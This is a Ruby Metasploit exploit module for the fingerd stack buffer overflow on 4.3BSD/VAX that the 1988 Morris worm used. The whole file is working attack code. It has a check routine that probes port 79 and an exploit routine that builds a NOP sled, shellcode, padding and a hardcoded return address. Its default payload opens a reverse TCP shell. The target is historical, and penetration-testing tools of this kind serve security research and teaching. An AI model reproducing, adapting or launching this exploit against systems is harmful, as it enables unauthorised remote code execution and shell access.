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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
# This is so one-off that we define it here
ARCH_VAX = 'vax'
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Morris Worm fingerd Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in fingerd on 4.3BSD.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
},
'Author' => [
'Robert Tappan Morris', # Discovery? Exploit and worm for sure
'Cliff Stoll', # The Cuckoo's Egg epilogue and inspiration
'wvu' # Module, payload, and additional research
],
'References' => [
['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis
['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'], # Details
['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
# And credit to the innumerable VAX ISA docs on the Web
],
'DisclosureDate' => 'Nov 2 1988',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_VAX,
'Privileged' => false, # Depends on inetd.conf, usually "nobody"
'Targets' => [
# https://en.wikipedia.org/wiki/Source_Code_Control_System
['@(#)fingerd.c 5.1 (Berkeley) 6/6/85',
'Ret' => 0x7fffe9b0,
'Payload' => {
'Space' => 403,
'BadChars' => "\n",
'Encoder' => 'generic/none', # There is no spoon
'DisableNops' => true # Hardcoded NOPs
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'}
))
register_options([Opt::RPORT(79)])
end
def check
token = rand_text_alphanumeric(8..42)
connect
sock.put("#{token}\n")
res = sock.get_once
return CheckCode::Unknown unless res
if res.include?("Login name: #{token}")
return CheckCode::Detected
end
CheckCode::Safe
rescue Rex::ConnectionError => e
vprint_error(e.message)
CheckCode::Unknown
ensure
disconnect
end
def exploit
# Start by generating our custom VAX shellcode
shellcode = payload.encoded
# 0x01 is NOP in VAX-speak
nops = "\x01" * (target.payload_space - shellcode.length)
# This overwrites part of the buffer
junk = rand_text_alphanumeric(109)
# This zeroes out part of the stack frame
frame = "\x00" * 16
# Finally, pack in our return address
ret = [target.ret].pack('V') # V is for VAX!
# The newline is for gets(3)
sploit = nops + shellcode + junk + frame + ret + "\n"
# Fire away
print_status('Connecting to fingerd')
connect
print_status("Sending #{sploit.length}-byte buffer")
sock.put(sploit)
# Hat tip @bcoles
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
ensure
disconnect
end
end
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